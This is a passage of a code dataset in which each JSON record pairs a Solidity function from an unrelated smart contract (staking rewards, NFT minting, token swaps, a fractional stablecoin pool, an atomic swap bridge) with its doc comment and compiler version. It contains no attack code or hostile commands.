bonusTokenAddr.balanceOf(address(this));\n bonusTokenAddr.safeTransferFrom(\n msg.sender,\n address(this),\n _transferAmount\n );\n uint256 received = bonusTokenAddr.balanceOf(address(this)) -\n balanceBefore;\n // endTime is based on how much tokens transfered v.s. planned weekly rewards\n uint48 endTime = uint48(\n (received * WEEK) / bonus.weeklyRewards + bonus.endTime\n );\n\n pools[_lpToken].bonuses[_poolBonusId].endTime = endTime;\n pools[_lpToken].bonuses[_poolBonusId].remBonus =\n bonus.remBonus +\n received;\n }", "version": "0.8.3"} {"comment": "/// @notice add pools and authorizers to add bonus tokens for pools, combine two calls into one. Only reason we add pools is when bonus tokens will be added", "function_code": "function addPoolsAndAllowBonus(\n address[] calldata _lpTokens,\n address[] calldata _bonusTokenAddrs,\n address[] calldata _authorizers\n ) external override onlyOwner notPaused {\n // add pools\n uint256 currentTime = block.timestamp;\n for (uint256 i = 0; i < _lpTokens.length; i++) {\n address _lpToken = _lpTokens[i];\n require(\n IERC20(_lpToken).decimals() <= 18,\n \"BonusRewards: lptoken decimals > 18\"\n );\n if (pools[_lpToken].lastUpdatedAt == 0) {\n pools[_lpToken].lastUpdatedAt = currentTime;\n poolList.push(_lpToken);\n }\n\n // add bonus tokens and their authorizers (who are allowed to add the token to pool)\n for (uint256 j = 0; j < _bonusTokenAddrs.length; j++) {\n address _bonusTokenAddr = _bonusTokenAddrs[j];\n allowedTokenAuthorizers[_lpToken][\n _bonusTokenAddr\n ] = _authorizers;\n bonusTokenAddrMap[_bonusTokenAddr] = 1;\n }\n }\n }", "version": "0.8.3"} {"comment": "/// @notice update pool's bonus per staked token till current block timestamp, do nothing if pool does not exist", "function_code": "function _updatePool(address _lpToken) private {\n Pool storage pool = pools[_lpToken];\n uint256 poolLastUpdatedAt = pool.lastUpdatedAt;\n if (poolLastUpdatedAt == 0 || block.timestamp <= poolLastUpdatedAt)\n return;\n pool.lastUpdatedAt = block.timestamp;\n uint256 lpTotal = pool.amount;\n if (lpTotal == 0) return;\n\n for (uint256 i = 0; i < pool.bonuses.length; i++) {\n Bonus storage bonus = pool.bonuses[i];\n if (\n poolLastUpdatedAt < bonus.endTime &&\n bonus.startTime < block.timestamp\n ) {\n uint256 bonusForTime = _calRewardsForTime(\n bonus,\n poolLastUpdatedAt\n );\n bonus.accRewardsPerToken =\n bonus.accRewardsPerToken +\n bonusForTime /\n lpTotal;\n }\n }\n }", "version": "0.8.3"} {"comment": "/// @notice transfer upto what the contract has", "function_code": "function _safeTransfer(address _token, uint256 _amount)\n private\n returns (uint256 _transferred)\n {\n IERC20 token = IERC20(_token);\n uint256 balance = token.balanceOf(address(this));\n if (balance > _amount) {\n token.safeTransfer(msg.sender, _amount);\n _transferred = _amount;\n } else if (balance > 0) {\n token.safeTransfer(msg.sender, balance);\n _transferred = balance;\n }\n }", "version": "0.8.3"} {"comment": "// only owner or authorized users from list", "function_code": "function _isAuthorized(address[] memory checkList)\n private\n view\n returns (bool)\n {\n if (msg.sender == owner()) return true;\n\n for (uint256 i = 0; i < checkList.length; i++) {\n if (msg.sender == checkList[i]) {\n return true;\n }\n }\n return false;\n }", "version": "0.8.3"} {"comment": "/**\r\n * Transfer tokens from the caller to a new holder.\r\n * Remember, there's a 15% fee here as well.\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens)\r\n onlyBagholders()\r\n public\r\n returns(bool)\r\n {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n \r\n // make sure we have the requested tokens\r\n // also disables transfers until ambassador phase is over\r\n // ( we dont want whale premines )\r\n require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n \r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n \r\n // liquify 15% of the tokens that are transfered\r\n // these are dispersed to shareholders\r\n uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);\r\n uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);\r\n uint256 _dividends = tokensToEthereum_(_tokenFee);\r\n \r\n // burn the fee tokens\r\n tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);\r\n \r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);\r\n \r\n // disperse dividends among holders\r\n profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);\r\n \r\n // fire event\r\n Transfer(_customerAddress, _toAddress, _taxedTokens);\r\n \r\n // ERC20\r\n return true;\r\n }", "version": "0.4.22"} {"comment": "/**\n * @dev Mint\n * @param owner address to set ownership to\n */", "function_code": "function mint(address owner) external {\n require(minters[msg.sender] || owner == msg.sender, \"This address cannot mint\");\n // NOTE - we don't require this so external callers don't blow up if a note already exists\n if(ownerTokenId[owner] == 0) {\n _tokenIds.increment();\n uint256 newItemId = _tokenIds.current();\n _safeMint(owner, newItemId);\n ownerTokenId[owner] = newItemId;\n }\n }", "version": "0.8.0"} {"comment": "/**\r\n * Takes a real unit and divides by the position multiplier to return the virtual unit\r\n */", "function_code": "function _convertRealToVirtualUnit(int256 _realUnit) internal view returns(int256) {\r\n int256 virtualUnit = _realUnit.conservativePreciseDiv(positionMultiplier);\r\n\r\n // These checks ensure that the virtual unit does not return a result that has rounded down to 0\r\n if (_realUnit > 0 && virtualUnit == 0) {\r\n revert(\"Virtual unit conversion invalid\");\r\n }\r\n\r\n return virtualUnit;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Loops through all of the positions and returns the smallest absolute value of \r\n * the virtualUnit.\r\n *\r\n * @return Min virtual unit across positions denominated as int256\r\n */", "function_code": "function _getPositionsAbsMinimumVirtualUnit() internal view returns(int256) {\r\n // Additional assignment happens in the loop below\r\n uint256 minimumUnit = uint256(-1);\r\n\r\n for (uint256 i = 0; i < components.length; i++) {\r\n address component = components[i];\r\n\r\n // A default position exists if the default virtual unit is > 0\r\n uint256 defaultUnit = _defaultPositionVirtualUnit(component).toUint256();\r\n if (defaultUnit > 0 && defaultUnit < minimumUnit) {\r\n minimumUnit = defaultUnit;\r\n }\r\n\r\n address[] memory externalModules = _externalPositionModules(component);\r\n for (uint256 j = 0; j < externalModules.length; j++) {\r\n address currentModule = externalModules[j];\r\n\r\n uint256 virtualUnit = _absoluteValue(\r\n _externalPositionVirtualUnit(component, currentModule)\r\n );\r\n if (virtualUnit > 0 && virtualUnit < minimumUnit) {\r\n minimumUnit = virtualUnit;\r\n }\r\n }\r\n }\r\n\r\n return minimumUnit.toInt256(); \r\n }", "version": "0.6.10"} {"comment": "// to withdraw token from the contract", "function_code": "function transferTokenBack(address TokenAddress)\r\n external\r\n onlyOwner\r\n returns (uint256)\r\n {\r\n IERC20 Token = IERC20(TokenAddress);\r\n uint256 balance = Token.balanceOf(address(this));\r\n if (balance > 0) {\r\n Token.safeTransfer(msg.sender, balance);\r\n }\r\n\r\n uint256 ETHbalance = address(this).balance;\r\n if (ETHbalance > 0) {\r\n msg.sender.transfer(ETHbalance);\r\n }\r\n\r\n return balance;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Edit whitelist\r\n */", "function_code": "function editWhitelist(address[] calldata walletsToAdd, address[] calldata walletsToRemove) external onlyOwner {\r\n for (uint256 i = 0; i < walletsToAdd.length; i++) {\r\n isWhitelisted[walletsToAdd[i]] = true;\r\n }\r\n for (uint256 i = 0; i < walletsToRemove.length; i++) {\r\n isWhitelisted[walletsToRemove[i]] = false;\r\n }\r\n\r\n emit SetWhitelist(walletsToAdd, walletsToRemove);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Manual minting by owner, callable by owner; phase can be one of [1,2,3,4]\r\n */", "function_code": "function mintOwner(address[] calldata owners, uint256[] calldata counts, uint256 phase) external onlyOwner {\r\n require(owners.length == counts.length, \"Bad length\");\r\n \r\n for (uint256 i = 0; i < counts.length; i++) {\r\n require(reserveForPhase[phase] >= counts[i], \"Reserve exceeded\");\r\n \r\n mintInternal(owners[i], counts[i], phase);\r\n reserveForPhase[phase] -= counts[i];\r\n supplyForPhase[phase] -= counts[i];\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Gets the price tier from token count\r\n */", "function_code": "function getPrice(uint256 count) public view returns (uint256) {\r\n if (count <= 2) {\r\n return price12;\r\n } else if (count <= 4) {\r\n return price34;\r\n } else {\r\n return price56;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Public minting during public sale or presale\r\n */", "function_code": "function mint(uint256 count) public payable{\r\n require(!mintPaused, \"Minting is currently paused\");\r\n require(currentPhase > 0, \"Sale not started\");\r\n require(publicSaleEnded == false, \"Sale ended\");\r\n\r\n require(msg.value == count * getPrice(count), \"Ether value incorrect\");\r\n require(supplyForPhase[currentPhase] - reserveForPhase[currentPhase] >= count, \"Supply exceeded\");\r\n \r\n if (presaleEnded) {\r\n // public sale checks\r\n require(count <= maxPerTxDuringSale, \"Too many tokens\");\r\n } else {\r\n // presale checks\r\n require(isWhitelisted[msg.sender], \"You are not whitelisted\");\r\n require(mintedDuringPresaleAtPhase[currentPhase][msg.sender] + count <= maxPerWalletDuringPresale, \"Count exceeded during presale\");\r\n mintedDuringPresaleAtPhase[currentPhase][msg.sender] += count;\r\n }\r\n \r\n supplyForPhase[currentPhase] -= count;\r\n mintInternal(msg.sender, count, currentPhase);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev The function which performs the multi path swap.\r\n * @param fromToken Address of the source token\r\n * @param toToken Address of the destination token\r\n * @param fromAmount Amount of source tokens to be swapped\r\n * @param toAmount Minimum destination token amount expected out of this swap\r\n * @param expectedAmount Expected amount of destination tokens without slippage\r\n * @param path Route to be taken for this swap to take place\r\n * @param mintPrice Price of gas at the time of minting of gas tokens, if any. In wei. 0 means gas token will not be used\r\n * @param beneficiary Beneficiary address\r\n * @param donationPercentage Percentage of returned amount to be transferred to beneficiary, if beneficiary is available. If this is passed as\r\n * 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%\r\n * @param referrer referral id\r\n */", "function_code": "function multiSwap(\r\n IERC20 fromToken,\r\n IERC20 toToken,\r\n uint256 fromAmount,\r\n uint256 toAmount,\r\n uint256 expectedAmount,\r\n Utils.Path[] memory path,\r\n uint256 mintPrice,\r\n address payable beneficiary,\r\n uint256 donationPercentage,\r\n string memory referrer\r\n )\r\n public\r\n payable\r\n whenNotPaused\r\n returns (uint256)\r\n {\r\n //Referral id can never be empty\r\n require(bytes(referrer).length > 0, \"Invalid referrer\");\r\n\r\n require(donationPercentage <= 10000, \"Invalid value\");\r\n\r\n require(toAmount > 0, \"To amount can not be 0\");\r\n\r\n uint256 receivedAmount = performSwap(\r\n fromToken,\r\n toToken,\r\n fromAmount,\r\n toAmount,\r\n path,\r\n mintPrice\r\n );\r\n\r\n takeFeeAndTransferTokens(\r\n toToken,\r\n toAmount,\r\n receivedAmount,\r\n beneficiary,\r\n donationPercentage,\r\n referrer\r\n );\r\n\r\n //If any ether is left at this point then we transfer it back to the user\r\n uint256 remEthBalance = Utils.tokenBalance(\r\n Utils.ethAddress(),\r\n address(this)\r\n );\r\n if ( remEthBalance > 0) {\r\n msg.sender.transfer(remEthBalance);\r\n }\r\n\r\n //Contract should not have any remaining balance after entire execution\r\n require(\r\n Utils.tokenBalance(address(toToken), address(this)) == 0,\r\n \"Destination tokens are stuck\"\r\n );\r\n\r\n emit Swapped(\r\n msg.sender,\r\n beneficiary == address(0)?msg.sender:beneficiary,\r\n address(fromToken),\r\n address(toToken),\r\n fromAmount,\r\n receivedAmount,\r\n expectedAmount,\r\n referrer\r\n );\r\n\r\n return receivedAmount;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\r\n */", "function_code": "function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) return (true, 0);\r\n uint256 c = a * b;\r\n if (c / a != b) return (false, 0);\r\n return (true, c);\r\n }", "version": "0.6.6"} {"comment": "// Returns the value of excess collateral held in this Pusd pool, compared to what is needed to maintain the global collateral ratio", "function_code": "function availableExcessCollatDV() public view returns (uint256) {\n uint256 total_supply = PUSD.totalSupply();\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n uint256 global_collat_value = PUSD.globalCollateralValue();\n\n if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1\n uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 PUSD with $1 of collateral at current collat ratio\n if (global_collat_value > required_collat_dollar_value_d18) return global_collat_value.sub(required_collat_dollar_value_d18);\n else return 0;\n }", "version": "0.6.11"} {"comment": "// We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency ", "function_code": "function mint1t1PUSD(uint256 collateral_amount, uint256 PUSD_out_min) external notMintPaused {\n uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n\n require(global_collateral_ratio >= COLLATERAL_RATIO_MAX, \"Collateral ratio must be >= 1\");\n require((collateral_token.balanceOf(address(this))).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, \"[Pool's Closed]: Ceiling reached\");\n \n (uint256 pusd_amount_d18) = PusdPoolLibrary.calcMint1t1PUSD(\n getCollateralPrice(),\n 0,\n collateral_amount_d18\n ); //1 PUSD for each $1 worth of collateral\n\n require(PUSD_out_min <= pusd_amount_d18, \"Slippage limit reached\");\n collateral_token.transferFrom(msg.sender, address(this), collateral_amount);\n uint256 total_feeAmount = pusd_amount_d18.mul(minting_fee).div(1e6);\n PUSD.pool_mint(bonus_address, total_feeAmount.mul(70).div(100));\n PUSD.pool_mint(msg.sender, pusd_amount_d18.sub(total_feeAmount));\n }", "version": "0.6.11"} {"comment": "// 0% collateral-backed\n// function mintAlgorithmicPUSD(uint256 pegs_amount_d18, uint256 PUSD_out_min) external notMintPaused {\n// uint256 pegs_price = PUSD.pegs_price();\n// uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n// require(global_collateral_ratio == 0, \"Collateral ratio must be 0\");\n// (uint256 pusd_amount_d18) = PusdPoolLibrary.calcMintAlgorithmicPUSD(\n// minting_fee, \n// pegs_price, // X PEGS / 1 USD\n// pegs_amount_d18\n// );\n// require(PUSD_out_min <= pusd_amount_d18, \"Slippage limit reached\");\n// PEGS.pool_burn_from(msg.sender, pegs_amount_d18);\n// PUSD.pool_mint(msg.sender, pusd_amount_d18);\n// }\n// Will fail if fully collateralized or fully algorithmic\n// > 0% and < 100% collateral-backed", "function_code": "function mintFractionalPUSD(uint256 collateral_amount, uint256 pegs_amount, uint256 PUSD_out_min) external notMintPaused {\n uint256 pusd_price = PUSD.pusd_price();\n uint256 pegs_price = PUSD.pegs_price();\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n\n require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, \"Collateral ratio needs to be between .000001 and .999999\");\n require(collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, \"Pool ceiling reached, no more PUSD can be minted with this collateral\");\n\n uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);\n PusdPoolLibrary.MintFF_Params memory input_params = PusdPoolLibrary.MintFF_Params(\n 0, \n pegs_price,\n pusd_price,\n getCollateralPrice(),\n pegs_amount,\n collateral_amount_d18,\n (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)),\n pool_ceiling,\n global_collateral_ratio\n );\n\n (uint256 mint_amount, uint256 pegs_needed) = PusdPoolLibrary.calcMintFractionalPUSD(input_params);\n\n require(PUSD_out_min <= mint_amount, \"Slippage limit reached\");\n require(pegs_needed <= pegs_amount, \"Not enough PEGS inputted\");\n PEGS.pool_burn_from(msg.sender, pegs_needed);\n collateral_token.transferFrom(msg.sender, address(this), collateral_amount);\n \n uint256 total_feeAmount = mint_amount.mul(minting_fee).div(1e6);\n PUSD.pool_mint(bonus_address, total_feeAmount.mul(70).div(100));\n PUSD.pool_mint(msg.sender, mint_amount.sub(total_feeAmount));\n }", "version": "0.6.11"} {"comment": "// Redeem collateral. 100% collateral-backed", "function_code": "function redeem1t1PUSD(uint256 PUSD_amount, uint256 COLLATERAL_out_min) external notRedeemPaused {\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n require(global_collateral_ratio == COLLATERAL_RATIO_MAX, \"Collateral ratio must be == 1\");\n\n // // Need to adjust for decimals of collateral\n uint256 PUSD_amount_precision = PUSD_amount.div(10 ** missing_decimals);\n (uint256 collateral_needed) = PusdPoolLibrary.calcRedeem1t1PUSD(\n getCollateralPrice(),\n PUSD_amount_precision,\n 0\n );\n\n require(collateral_needed <= collateral_token.balanceOf(address(this)), \"Not enough collateral in pool\");\n\n \n uint256 total_feeAmount = collateral_needed.mul(redemption_fee).div(1e6);\n \n redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_needed.sub(total_feeAmount));\n unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_needed.sub(total_feeAmount));\n lastRedeemed[msg.sender] = block.number;\n\n require(COLLATERAL_out_min <= collateral_needed, \"Slippage limit reached\");\n \n \n // Move all external functions to the end\n uint256 transfer_amount = PUSD_amount.mul(redemption_fee).div(1e6).mul(70).div(100);\n PUSD.transferFrom(msg.sender, bonus_address, transfer_amount);\n PUSD.pool_burn_from(msg.sender, PUSD_amount.sub(transfer_amount));\n }", "version": "0.6.11"} {"comment": "// Will fail if fully collateralized or algorithmic\n// Redeem PUSD for collateral and PEGS. > 0% and < 100% collateral-backed", "function_code": "function redeemFractionalPUSD(uint256 PUSD_amount, uint256 PEGS_out_min, uint256 COLLATERAL_out_min) external notRedeemPaused {\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n\n require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, \"Collateral ratio needs to be between .000001 and .999999\");\n\n uint256 PUSD_amount_post_fee = PUSD_amount.sub((PUSD_amount.mul(0)).div(PRICE_PRECISION));\n uint256 pegs_amount = PUSD_amount_post_fee.sub(PUSD_amount_post_fee.mul(global_collateral_ratio).div(PRICE_PRECISION)).mul(PRICE_PRECISION).div(PUSD.pegs_price());\n\n uint256 collateral_amount = PUSD_amount_post_fee.div(10 ** missing_decimals).mul(global_collateral_ratio).div(PRICE_PRECISION).mul(PRICE_PRECISION).div(getCollateralPrice());\n \n redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_amount.sub(collateral_amount.mul(redemption_fee).div(1e6)));\n unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_amount.sub(collateral_amount.mul(redemption_fee).div(1e6)));\n\n redeemPEGSBalances[msg.sender] = redeemPEGSBalances[msg.sender].add(pegs_amount.sub(pegs_amount.mul(redemption_fee).div(1e6)));\n unclaimedPoolPEGS = unclaimedPoolPEGS.add(pegs_amount.sub(pegs_amount.mul(redemption_fee).div(1e6)));\n\n lastRedeemed[msg.sender] = block.number;\n\n require(collateral_amount <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), \"Not enough collateral in pool\");\n require(COLLATERAL_out_min <= collateral_amount && PEGS_out_min <= pegs_amount, \"Slippage limit reached\");\n \n // Move all external functions to the end\n uint256 transfer_amount = PUSD_amount.mul(redemption_fee).div(1e6).mul(70).div(100);\n PUSD.transferFrom(msg.sender, bonus_address, transfer_amount);\n PUSD.pool_burn_from(msg.sender, PUSD_amount.sub(transfer_amount));\n PEGS.pool_mint(address(this), pegs_amount.sub(pegs_amount.mul(redemption_fee).div(1e6)));\n }", "version": "0.6.11"} {"comment": "// Redeem PUSD for PEGS. 0% collateral-backed\n// function redeemAlgorithmicPUSD(uint256 PUSD_amount, uint256 PEGS_out_min) external notRedeemPaused {\n// uint256 pegs_price = PUSD.pegs_price();\n// uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n// require(global_collateral_ratio == 0, \"Collateral ratio must be 0\"); \n// uint256 pegs_dollar_value_d18 = PUSD_amount;\n// pegs_dollar_value_d18 = pegs_dollar_value_d18.sub((pegs_dollar_value_d18.mul(redemption_fee)).div(PRICE_PRECISION)); //apply redemption fee\n// uint256 pegs_amount = pegs_dollar_value_d18.mul(PRICE_PRECISION).div(pegs_price);\n// redeemPEGSBalances[msg.sender] = redeemPEGSBalances[msg.sender].add(pegs_amount);\n// unclaimedPoolPEGS = unclaimedPoolPEGS.add(pegs_amount);\n// lastRedeemed[msg.sender] = block.number;\n// require(PEGS_out_min <= pegs_amount, \"Slippage limit reached\");\n// // Move all external functions to the end\n// PUSD.pool_burn_from(msg.sender, PUSD_amount);\n// PEGS.pool_mint(address(this), pegs_amount);\n// }\n// After a redemption happens, transfer the newly minted PEGS and owed collateral from this pool\n// contract to the user. Redemption is split into two functions to prevent flash loans from being able\n// to take out PUSD/collateral from the system, use an AMM to trade the new price, and then mint back into the system.", "function_code": "function collectRedemption() external {\n require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, \"Must wait for redemption_delay blocks before collecting redemption\");\n bool sendPEGS = false;\n bool sendCollateral = false;\n uint PEGSAmount;\n uint CollateralAmount;\n\n // Use Checks-Effects-Interactions pattern\n if(redeemPEGSBalances[msg.sender] > 0){\n PEGSAmount = redeemPEGSBalances[msg.sender];\n redeemPEGSBalances[msg.sender] = 0;\n unclaimedPoolPEGS = unclaimedPoolPEGS.sub(PEGSAmount);\n\n sendPEGS = true;\n }\n \n if(redeemCollateralBalances[msg.sender] > 0){\n CollateralAmount = redeemCollateralBalances[msg.sender];\n redeemCollateralBalances[msg.sender] = 0;\n unclaimedPoolCollateral = unclaimedPoolCollateral.sub(CollateralAmount);\n\n sendCollateral = true;\n }\n\n if(sendPEGS == true){\n PEGS.transfer(msg.sender, PEGSAmount);\n }\n if(sendCollateral == true){\n collateral_token.transfer(msg.sender, CollateralAmount);\n }\n }", "version": "0.6.11"} {"comment": "// When the protocol is recollateralizing, we need to give a discount of PEGS to hit the new CR target\n// Thus, if the target collateral ratio is higher than the actual value of collateral, minters get PEGS for adding collateral\n// This function simply rewards anyone that sends collateral to a pool with the same amount of PEGS + the bonus rate\n// Anyone can call this function to recollateralize the protocol and take the extra PEGS value from the bonus rate as an arb opportunity", "function_code": "function recollateralizePUSD(uint256 collateral_amount, uint256 PEGS_out_min) external {\n require(recollateralizePaused == false, \"Recollateralize is paused\");\n uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);\n uint256 pegs_price = PUSD.pegs_price();\n uint256 pusd_total_supply = PUSD.totalSupply();\n uint256 global_collateral_ratio = PUSD.global_collateral_ratio();\n uint256 global_collat_value = PUSD.globalCollateralValue();\n \n (uint256 collateral_units, uint256 amount_to_recollat) = PusdPoolLibrary.calcRecollateralizePUSDInner(\n collateral_amount_d18,\n getCollateralPrice(),\n global_collat_value,\n pusd_total_supply,\n global_collateral_ratio\n ); \n\n uint256 collateral_units_precision = collateral_units.div(10 ** missing_decimals);\n\n uint256 pegs_paid_back = amount_to_recollat.mul(uint(1e6).add(bonus_rate)).div(pegs_price);\n\n require(PEGS_out_min <= pegs_paid_back, \"Slippage limit reached\");\n collateral_token.transferFrom(msg.sender, address(this), collateral_units_precision);\n PEGS.pool_mint(msg.sender, pegs_paid_back);\n \n }", "version": "0.6.11"} {"comment": "// Function can be called by an PEGS holder to have the protocol buy back PEGS with excess collateral value from a desired collateral pool\n// This can also happen if the collateral ratio > 1", "function_code": "function buyBackPEGS(uint256 PEGS_amount, uint256 COLLATERAL_out_min) external {\n require(buyBackPaused == false, \"Buyback is paused\");\n uint256 pegs_price = PUSD.pegs_price();\n \n PusdPoolLibrary.BuybackPEGS_Params memory input_params = PusdPoolLibrary.BuybackPEGS_Params(\n availableExcessCollatDV(),\n pegs_price,\n getCollateralPrice(),\n PEGS_amount\n );\n\n (uint256 collateral_equivalent_d18) = PusdPoolLibrary.calcBuyBackPEGS(input_params);\n uint256 collateral_precision = collateral_equivalent_d18.div(10 ** missing_decimals);\n\n require(COLLATERAL_out_min <= collateral_precision, \"Slippage limit reached\");\n // Give the sender their desired collateral and burn the PEGS\n PEGS.pool_burn_from(msg.sender, PEGS_amount);\n collateral_token.transfer(msg.sender, collateral_precision);\n }", "version": "0.6.11"} {"comment": "// Combined into one function due to 24KiB contract memory limit", "function_code": "function setPoolParameters(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, address _bonus_address) external onlyByOwnerOrGovernance {\n pool_ceiling = new_ceiling;\n bonus_rate = new_bonus_rate;\n redemption_delay = new_redemption_delay;\n minting_fee = PUSD.minting_fee();\n redemption_fee = PUSD.redemption_fee();\n bonus_address = _bonus_address;\n }", "version": "0.6.11"} {"comment": "//=====================\n// Main gameplay\n//=====================", "function_code": "function playWar(uint sideBetPercent) public whenNotPaused TokenCheck payable {\r\n\r\n require(sideBetPercent >= 0 && sideBetPercent <= sideBetPercent_MAX);\r\n\r\n require(hasHandInProgress[msg.sender]==false);\r\n\r\n require(msg.value <= bet_MAX && msg.value >= bet_MIN);\r\n\r\n uint betAmount = msg.value;\r\n uint sideBetAmount = betAmount.mul(sideBetPercent).div(100);\r\n uint mainBetAmount = betAmount.sub(sideBetAmount);\r\n\r\n emit DEBUG_betSplit(mainBetAmount, sideBetAmount, sideBetPercent);\r\n\r\n //Initiate oraclize call\r\n bytes32 orcID = oraclize_query(\"WolframAlpha\", \"RandomSample[Range[416],2]\",gasForShuffle);\r\n emit currentOrcID(orcID);\r\n\r\n uint orcFees = oraclize_getPrice(\"WolframAlpha\", gasForShuffle);\r\n\r\n //check if previous hand was a tie and player chose to go to WAR\r\n if(firstHandInfo[msg.sender].isTied){\r\n assert(msg.value == firstHandInfo[msg.sender].mainBetAmount);\r\n assert(sideBetAmount == 0);\r\n }\r\n else{\r\n FirstHand memory thisHand = FirstHand({\r\n isTied : false,\r\n fees: orcFees,\r\n mainBetAmount : mainBetAmount\r\n });\r\n firstHandInfo[msg.sender] = thisHand;\r\n }\r\n\r\n Info memory info = Info({\r\n playerAddress : msg.sender,\r\n mainBetAmount : mainBetAmount,\r\n sideBetAmount : sideBetAmount,\r\n fees: orcFees,\r\n sideBetPercentage : sideBetPercent,\r\n playerHand : 0,\r\n houseHand : 0\r\n });\r\n\r\n hand_info[orcID] = info;\r\n refundPool[msg.sender] = msg.value.sub(orcFees);\r\n hasHandInProgress[msg.sender] = true;\r\n }", "version": "0.4.24"} {"comment": "//=====================\n// Special\n//=====================", "function_code": "function getCardValue(uint card) private pure returns(uint){\r\n if (card > 416 || card < 1) {\r\n return 0;\r\n }\r\n\r\n card = card % 52;\r\n\r\n if (card == 0) {\r\n return 13;\r\n } else if (card <= 4) {\r\n return 14;\r\n } else if (card % 4 > 0) {\r\n card = card.div(4).add(1);\r\n } else {\r\n card = card.div(4);\r\n }\r\n\r\n return card == 1 ? 14 : card;\r\n }", "version": "0.4.24"} {"comment": "// @dev function to decreaseApproval to spender", "function_code": "function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success) {\r\n uint256 oldValue = allowed[msg.sender][_spender];\r\n if (_subtractedValue > oldValue) {\r\n allowed[msg.sender][_spender] = 0;\r\n } else {\r\n allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);\r\n }\r\n emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// msg.sender must be the user who originally created the swap.\n// Otherwise, the unique identifier will not match from the originally\n// sending txn.\n//\n// NOTE: We're aware this function can be spoofed by creating a sha256 hash of msg.sender's address\n// and _origTimestamp, but it's important to note refundTokensFromSource and sendTokensToDestination\n// can only be executed by the owner/oracle. Therefore validation should be done by the oracle before\n// executing those and the only possibility of a vulnerability is if someone has compromised the oracle account.", "function_code": "function fundSendToDestinationGas(\n bytes32 _id,\n uint256 _origTimestamp,\n uint256 _amount\n ) external payable {\n require(\n msg.value >= minimumGasForOperation,\n \"you must send enough gas to cover the send transaction\"\n );\n require(\n _id ==\n sha256(abi.encodePacked(msg.sender, _origTimestamp, _amount)),\n \"we don't recognize this swap\"\n );\n payable(oracleAddress).transfer(msg.value);\n\n\n //check if swap already exists\n if (!(swaps[_id].amount > 0 && swaps[_id].origTimestamp > 0)) {\n swaps[_id] = Swap({\n id: _id,\n origTimestamp: _origTimestamp,\n currentTimestamp: block.timestamp,\n isOutbound: true,\n isComplete: false,\n isRefunded: false,\n isSendGasFunded: true,\n swapAddress: msg.sender,\n amount: _amount\n });\n }\n\n emit destinationGasFunded(_id);\n }", "version": "0.8.4"} {"comment": "// This must be called AFTER fundSendToDestinationGas has been executed\n// for this txn to fund this send operation", "function_code": "function sendTokensToDestination(bytes32 _id) external returns (bytes32) {\n require(isActive, \"this atomic swap instance is not active\");\n\n Swap storage swap = swaps[_id];\n\n _confirmSwapExistsGasFundedAndSenderValid(swap);\n _token.transfer(swap.swapAddress, swap.amount);\n swap.currentTimestamp = block.timestamp;\n swap.isComplete = 